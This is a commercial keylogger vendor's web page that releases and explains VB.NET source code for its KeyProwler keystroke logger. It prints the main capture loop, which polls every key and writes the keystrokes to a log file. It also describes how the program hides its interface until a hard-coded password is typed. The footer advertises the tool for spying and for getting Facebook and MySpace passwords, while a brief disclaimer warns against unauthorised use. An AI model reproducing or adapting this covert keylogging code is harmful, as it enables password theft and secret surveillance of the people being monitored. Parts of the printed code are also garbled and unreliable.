About Us       Screenshots       Contact Us      
 
Home         Why Choose KeyProwler         FAQ’s          Download Free Trial         Lifetime Tech Support         Order KeyProwler Now

 

THE ARTICLE & SOURCE CODE BELOW IS GIVEN FREE-OF-CHARGE, IT COMES AS-IS WITHOUT TECHNICAL SUPPORT UNDER THE The GNU General Public License (GPL) IF YOU NEED SUPPORT PLEASE PURCHASE A LICENSE HERE

KeyProwler Keylogger - Open Source (VB.net)

Apan Software (KeyProwler) has decided to release portions of an early version of KeyProwler to the public domain, including software keylogger source code and documentation. KeyProwler is written in VB.NET 2005. KeyProwler v 1.0 is a 100% operational and tested application used by hundreds of people around the world. However, please note that this KeyProwler keylogger source code project is provided as is, with all faults, and with no warranty whatsoever.

  DOWNLOAD OPEN SOURCE CODE HERE

What you will need:

Before you start, go down this list to check if you have all the tools and skills needed to accomplish this VB.net keylogger project:

  • Visual Studio 2005 or Visual Studio 2008, express versions will also work  - If you do not have it you can get it free here.
  • Some programming knowledge, preferebly VB.net or .Net Technolgy experience
  • KeyProwler v 1.0 Source Code

 

Video Explanation

Video 1: Installation
Video 2: Code & Functionality Explanation

Code Explanation:

This is a very old basic version of KeyProwler, using a timer based method of keylogging. Basically we have a timer that cycles once every 5 miliseconds. During every cycle, the code withing the timer event checks every key on the keyboard to see if it it is down. This method is somewhat of a hog of system resources, we now use a more advanced method in our current product, but should not cause a problem on newer systems. Once you download source and get set up with and get it opened, here is a breakdown of the code:
 

The main keylogger engine work happens on a timer .tick event.
When a keydown event is detected (result = -32767), The ascii result is taken through a series of if/else statements to find its true value:

 

            For i = 8 To 190

                Dim result As Integer = 0

                ' Gets the keystate of the current key.

                result = GetAsyncKeyState(i)

 

                ' When a keydown event is detected (result = -32767)

                If result = -32767 Then

                    Temp = Chr(i)

 

                    If i = 8 Then

                        If Not TxtBTest.Text.Length = 0 Then

                            TxtBTest.Text = TxtBTest.Text.Remove(TxtBTest.Text.Length - 1, 1)

                        End If

                        Temp = Nothing

                    ElseIf i > 95 And i < 106 Then ' Test to see if i is an Asii Number

                        Temp = Chr(i - 48)

                        TxtBTest.Text = TxtBTest.Text + Temp

                    ElseIf Chr(i) = "_" Then ' remove strange character

                        Temp = Nothing

                        TxtBTest.Text = TxtBTest.Text + Temp

                    ElseIf i = 189 AndAlso My.Computer.Keyboard.ShiftKeyDown Then ' Tests for "_"                                       TxtBTest.Text = TxtBTest.Text + "_"

                    ElseIf Chr(i) = Chr(189) Then

                        TxtBTest.Text = TxtBTest.Text + "-"

                    ElseIf i > 128 Then

                        Temp = CType(ConvertPunc(i), Char) ' Converts punctuation from Ascii code

                        TxtBTest.Text = TxtBTest.Text + Temp

                    ElseIf My.Computer.Keyboard.CapsLock Then

                        TxtBTest.Text = TxtBTest.Text + Temp

                    ElseIf Chr(i) = Chr(16) Then

                        Temp = Nothing

                    ElseIf My.Computer.Keyboard.ShiftKeyDown Then ' Converts keyboard event

                        Temp = ConvertChar(Temp)

                        TxtBTest.Text = TxtBTest.Text + Temp

                    ElseIf Chr(i) = Chr(9) Then

                        SpChar = "[Tab]"

                        TxtBTest.Text = TxtBTest.Text

                    ElseIf Not Char.IsUpper(Temp) And Not Temp = " " And Not Char.IsNumber(Temp) Then

                        SpChar = SpecialKeyConvert(Temp)

                        If Not SpChar = Nothing Then

                            TxtBTest.Text = TxtBTest.Text

                        End If

                    ElseIf Chr(i) = Chr(13) Then ' Adds return carriage

                        TxtBTest.Text = TxtBTest.Text + Environment.NewLine

                    Else

                        Temp = Char.ToLower(Temp)

                        DoReplaceNum(Temp)

                        TxtBTest.Text = TxtBTest.Text + Temp

                    End If

 

                    ' you can set your own password to show the interface currently is you type

                    ' showinterce337 into any application while the app is running,

                    ' the interface will show up.

                    If TxtBTest.Text.Contains("showinterface337") Then

                        ShowInterface()

                    End If 

 

                ' Below, when the Log gets to be over 128 we write it to the text file

                    'that we have selected from before.

                    If TxtBTest.Text.Length > 128 Or Chr(i) = Chr(13) Then

                        WriteHtmlLine(TxtBTest.Text, 0)

                    End If

               End If

            Next

During this FOR loop, the logged keys are saved in a Textbox (TxtBTest). We did this so that we could see what was being saved/ Debug purposes.

When the text string (TxtBTest) reaches a length greater that 128 or the Character logged is a [RETURN], it is written to the file:
                                              
                                                If TxtBTest.Text.Length > 128 Or Chr(i) = Chr(13) Then

                        WriteHtmlLine(TxtBTest.Text, 0)

                    End If

How To Use The Compiled Code:

There are only 3 commands for this application:

1. Browse - This Sets the file where you want the logs to be capture, this is a text file (.txt).

2. Start - Starts the logging, and hides the display - you will need to insert the password(hard coded in source) to be able to see the GUI again.

3. Stop - This stops the logging process.

Things you should know

We encourage you to read this section to avoid problems that might occur using this keylogger.

Legal liability

  1. Countries have different laws about logging keyboard data. Not knowing the law does not allow you not to obey it. Please read our We do not take any responsibility for any damage or harm caused by the use of this open source keylogger. Please read our user agreement
  2. You should not use this device to intercept data you are not authorized to possess, especially passwords, banking data, confidential correspondence etc. Most countries recognize this as a crime.

  DOWNLOAD OPEN SOURCE CODE HERE

 

License

This article, along with any associated source code and files, is licensed under The GNU General Public License (GPL)

About the Author

Armando Pantoja Armando Pantoja - Co-founder of Apan Software & Technology, Keylogger Expert
 My Email: apantoja@keyprowler.com
 My Interests: Software Development & Design, Travel, Hardware & Software Securitry
Challenges. Armando is feautured in the spring edition of Hackers 2600 and also has been featured in PC Format Magazine.

 
   
 
 

Home | Why Choose KeyProwler? | F.A.Q. | Download Trial | Tech Support | Screenshots | Order Now! | About Us | News | Affiliates | Contact Us
Copyright © KeyProwler.com All Rights Reserved           Privacy Policy


Keylogger • Family Keylogger • Keylogger Software • Keyloggers • Free Keylogger Trial • Spy Software • Download Keylogger • Keylogger Features
Free Keylogger Software • Keystroke Logging • Computer Monitoring Software • Surveillance Software • Spy For Messenger • Software Keyloggers
Free Keylogger • Get Facebook Passwords • Get Myspace Passwords • Open Source Keylogger • Monitoring of Employees • Keylogger Information
Download Free Trial Keylogger • Monitor A Computer • All One Keylogger • Keylogger Remote • Monitor Your Computer • Get Facebook Passwords

Please consult your local lawyer to make sure your monitoring activities are legal in your country.